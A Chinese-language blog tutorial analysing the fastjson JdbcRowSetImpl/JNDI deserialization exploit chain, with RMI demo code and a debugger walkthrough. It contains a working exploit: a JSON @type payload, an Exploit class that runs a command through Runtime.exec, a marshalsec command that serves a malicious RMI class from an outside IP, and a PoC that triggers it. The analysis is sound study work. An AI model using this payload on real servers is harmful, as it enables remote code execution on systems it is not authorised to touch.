從0開始fastjson漏洞分析2

  從0開始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html

  有了前文鋪墊,可以說對fastjson內部機制和fastjson的反序列化處理已經瞭然於心

  大致流程如下,簡單說下:當調用Parse的時候,會先搜索@type,然後通過JSONSCanner判斷用戶的json輸入,判斷開頭是否是{和",然後獲取我們的輸入@type類,通過JSONSCannerSymbool去解析,獲取我們@type的值,使用集合的方式存儲這個惡意類(就是我們@type的值),對惡意類序列化,反序列化,通過反射調用類中所有方法(get/set)和類中的屬性,把獲取到的方法進行處理,對獲取到的屬性進行序列化和反序列化,並使用集合封裝處理.判斷是否是set開頭的方法,如果是,把set**後面的字段序列化然後反序列化.比如我們的bytecodes,對我們的輸入解碼,那麼我們的輸入就是編碼

  不雞肋的利用鏈:JNDI && JdbcRowSetImpl利⽤鏈

  先學習jndi:

    jdni具體含義:  

JNDI 即Java Naming and Directory Interface(JAVA 命名和目錄接口),那麼Java 命名的目的就是爲了記錄一些不方便記錄的內容,就像DNS 中的域名與IP 的關係,存在一一對應的關係。

JNDI 被定義爲獨立於任何特定的目錄服務實現。因此,可以以通用方式訪問各種目錄。

  jndi一個實際場景就是spring boot下的數據庫連接池子:

    

 

 

  通過遠程調用,其底層原理就是使用的jndi.

  JNDI架構:

  

 

 

  其中在fastjson漏洞利用中,最常用的就是ldap和rmi了. 即使是一點都不懂漏洞原理的,相信在打fastjson漏洞的時候也會遇到這兩個協議

  他們的具體含義是:  

輕型目錄訪問協議(LDAP )。
Java遠程方法調用(RMI )註冊表。

  我們以rmi爲例,寫一段demo:

  rmi的目的很簡單:就是要使運行在不同的計算機中的對象之間的調用表現得像本地調用一樣。

  遠程接口定義:

    IRemoteTest.java

package com.test.fastjson.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

//必須繼承Remote類型,必須拋出異常
public interface IRemoteTest extends Remote {
    public String test() throws RemoteException;
}

 

  接口實現類:

    IRemoteTestImpl.java

package com.test.fastjson.jndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
//遠程接口實現
public class IRemoteTestImpl extends UnicastRemoteObject implements IRemoteTest {
    protected IRemoteTestImpl() throws RemoteException {
        super();
    }

    @Override
    public String test() throws RemoteException {
        return Thread.currentThread().getStackTrace()
                [1].getMethodName()+"被遠程調用了";
    }
}

    

  

  編寫服務端綁定:

    Server.java

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

//服務端綁定
public class Server {
    IRemoteTest iRemoteTest;

    public void server() throws RemoteException, AlreadyBoundException, MalformedURLException {
        iRemoteTest = new IRemoteTestImpl();
        //遠程對象註冊表實例
        LocateRegistry.createRegistry(6666);
        //把遠程對象註冊到RMI註冊服務器上
        Naming.bind("rmi://127.0.0.1:6666/test",iRemoteTest);
        System.out.println("server綁定成功");
    }
}

  編寫客戶端,調用遠程對象:

  Client.java:

  

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

//客戶端調用服務端聲明的對象
public class Client {
    public IRemoteTest iRemoteTest;

    public void client() throws RemoteException, NotBoundException, MalformedURLException {
        //在RMI註冊表中查找指定對象
        iRemoteTest = (IRemoteTest) Naming.lookup("rmi://127.0.0.1:6666/test");
        //調用遠程對象方法
        System.out.println("client:");
        System.out.println(iRemoteTest.test());
    }
}

  編寫測試類:

    

package com.test.fastjson.jndi;

import org.junit.Test;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMITest {
    @Test
    public void testServer() throws MalformedURLException, RemoteException, AlreadyBoundException {
        Server server = new Server();
        server.server();
        while(true);
    }

    @Test
    public void testClient() throws RemoteException, NotBoundException, MalformedURLException {
        Client client = new Client();
        client.client();
    }
}

  先調用服務端,然後客戶端遠程調用方法:

    

 

 

 

 

  啓動客戶端:

     

 

  

  瞭解了rmi後,我們來看下JNDI && JdbcRowSetImpl利⽤鏈

  exp如下:

    

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps_ip/Exploit", "autoCommit":true}

    其中看見使用rmi,看到Exploit,通過前面的rmi學習,可以知道Exploit就是我們遠程對象Exploit,我們遠程調用Exploit類對象:

  通過前面學習rmi,我們可以模擬服務端,但是很多時候很麻煩,這裏藉助前輩的工具:快速搭建惡意rmi/ldap服務端:

  marshalsec, RMI / LDAP 惡意服務器快速搭建⼯具,下載地址:https://github.com/mbechler/marshalsec

  寫個惡意類:

   

 先生成惡意類字節碼:

  javac Exploit生成class字節碼

  Exploit.java->javac Exploit.java ->Exploit.class:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch (IOException e){
            e.printStackTrace();
        }

    }

    public static void main(String[] args){
        Exploit exploit = new Exploit();
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

  快速搭建rmi/ldap服務器:

   

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer http://119.45.227.86/#Exploit

 

 

 

  

 

 

 

 

  這樣就會生成服務端的監聽,等待接收客戶端的調用:

    rmi默認端口1099,可以自定義設置端口:

  在末尾加端口即可:

  

 

 

  客戶端調用服務端:

  Exploit:    

    

package com.test.fastjson.Exploit_chain2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class ExploitPoc {
    public static void main(String[] args) {
        String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123:7777/Exploit\",\"autoCommit\":true}";
        JSON.parse(poc);
    }
}

  即可實現命令執行,可能部分人無法複測成功,因爲ldap/rmi受限於jdk版本限制:

    

ldap適用 JDK11.0.1/8u191/7u201/6u211之前,rmi適用JDK8u113/7u122/6u132之前

  前面開頭我們簡單的講解了下fastjson反序列化的流程,現在我們靜態調試分析下:

    首先反射進入JdbcRowSetImpl或者debug Parse函數:

    

 

 

  查看定義的屬性:

    

   private Connection conn;
    private PreparedStatement ps;
    private ResultSet rs;
    private RowSetMetaDataImpl rowsMD;
    private ResultSetMetaData resMD;
    private Vector<Integer> iMatchColumns;
    private Vector<String> strMatchColumns;
    protected transient JdbcRowSetResourceBundle resBundle;

  

  查看set和get方法:  

    

 

  有對應的get和set方法,所以不需要Feature.SupportNonPublicField

  根據exp看看datasource屬性:

  設置datasource:

  

 

    對datasource進行賦值:

    

 

 

  接着調用setAutoCommit:  

    

 

 

  一定要讓conn爲null,所以exp裏面沒設置conn,爲null才能觸發else條件,走else條件會調用connent方法和設置autocommit:

  跟進this.connect():

  當前對象方法,那麼就在這個類裏面:

    

 

 

 

   重點:

    

 

 

   databasesoucrename可以外部定義!

  通過lookup遠程查找,調用惡意類,從而實現rce,就是這麼簡單           

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章